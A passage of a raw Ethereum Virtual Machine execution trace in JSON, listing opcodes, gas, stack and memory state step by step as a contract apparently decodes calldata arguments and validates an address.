xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14113,"op":"PUSH8","gas":123906,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14122,"op":"DUP2","gas":123903,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2","0xffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14123,"op":"GT","gas":123900,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2","0xffffffffffffffff","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14124,"op":"ISZERO","gas":123897,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14125,"op":"PUSH2","gas":123894,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14128,"op":"JUMPI","gas":123891,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2","0x1","0x3735"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14133,"op":"JUMPDEST","gas":123881,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14134,"op":"PUSH1","gas":123880,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14136,"op":"DUP4","gas":123877,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14137,"op":"ADD","gas":123874,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2","0x20","0xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14138,"op":"SWAP2","gas":123871,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x2","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14139,"op":"POP","gas":123868,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14140,"op":"DUP4","gas":123866,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14141,"op":"PUSH1","gas":123863,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14143,"op":"DUP3","gas":123860,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x104","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14144,"op":"PUSH1","gas":123857,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x104","0x20","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14146,"op":"SHL","gas":123854,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x104","0x20","0x2","0x5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14147,"op":"DUP6","gas":123851,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x104","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14148,"op":"ADD","gas":123848,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x104","0x20","0x40","0xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14149,"op":"ADD","gas":123845,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x104","0x20","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14150,"op":"GT","gas":123842,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x104","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14151,"op":"ISZERO","gas":123839,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14152,"op":"PUSH2","gas":123836,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14155,"op":"JUMPI","gas":123833,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2","0x1","0x3750"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14160,"op":"JUMPDEST","gas":123823,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14161,"op":"SWAP3","gas":123822,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14162,"op":"POP","gas":123819,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x2","0xa4","0xc4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14163,"op":"SWAP3","gas":123817,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x2","0xa4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14164,"op":"SWAP1","gas":123814,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0xc4","0x2","0xa4","0x37a1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14165,"op":"POP","gas":123811,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0xc4","0x2","0x37a1","0xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14166,"op":"JUMP","gas":123809,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0xc4","0x2","0x37a1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14241,"op":"JUMPDEST","gas":123801,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14242,"op":"SWAP1","gas":123800,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14243,"op":"SWAP6","gas":123797,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x2","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14244,"op":"POP","gas":123794,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x0","0x0","0x0","0xa0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14245,"op":"SWAP4","gas":123792,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x0","0x0","0x0","0xa0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14246,"op":"POP","gas":123789,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14247,"op":"POP","gas":123787,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14248,"op":"PUSH1","gas":123785,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14250,"op":"DUP8","gas":123782,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14251,"op":"ADD","gas":123779,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0x60","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14252,"op":"CALLDATALOAD","gas":123776,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14253,"op":"PUSH2","gas":123773,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14256,"op":"DUP2","gas":123770,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14257,"op":"PUSH2","gas":123767,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14260,"op":"JUMP","gas":123764,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13891,"op":"JUMPDEST","gas":123756,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13892,"op":"PUSH1","gas":123755,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13894,"op":"PUSH1","gas":123752,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13896,"op":"PUSH1","gas":123749,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13898,"op":"SHL","gas":123746,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13899,"op":"SUB","gas":123743,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13900,"op":"DUP2","gas":123740,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13901,"op":"AND","gas":123737,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13902,"op":"DUP2","gas":123734,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13903,"op":"EQ","gas":123731,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13904,"op":"PUSH2","gas":123728,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13907,"op":"JUMPI","gas":123725,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13912,"op":"JUMPDEST","gas":123715,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13913,"op":"POP","gas":123714,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13914,"op":"JUMP","gas":123712,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x37b5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14261,"op":"JUMPDEST","gas":123704,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14262,"op":"DUP1","gas":123703,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14263,"op":"SWAP3","gas":123700,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14264,"op":"POP","gas":123697,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14265,"op":"POP","gas":123695,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14266,"op":"PUSH1","gas":123693,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14268,"op":"DUP8","gas":123690,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4"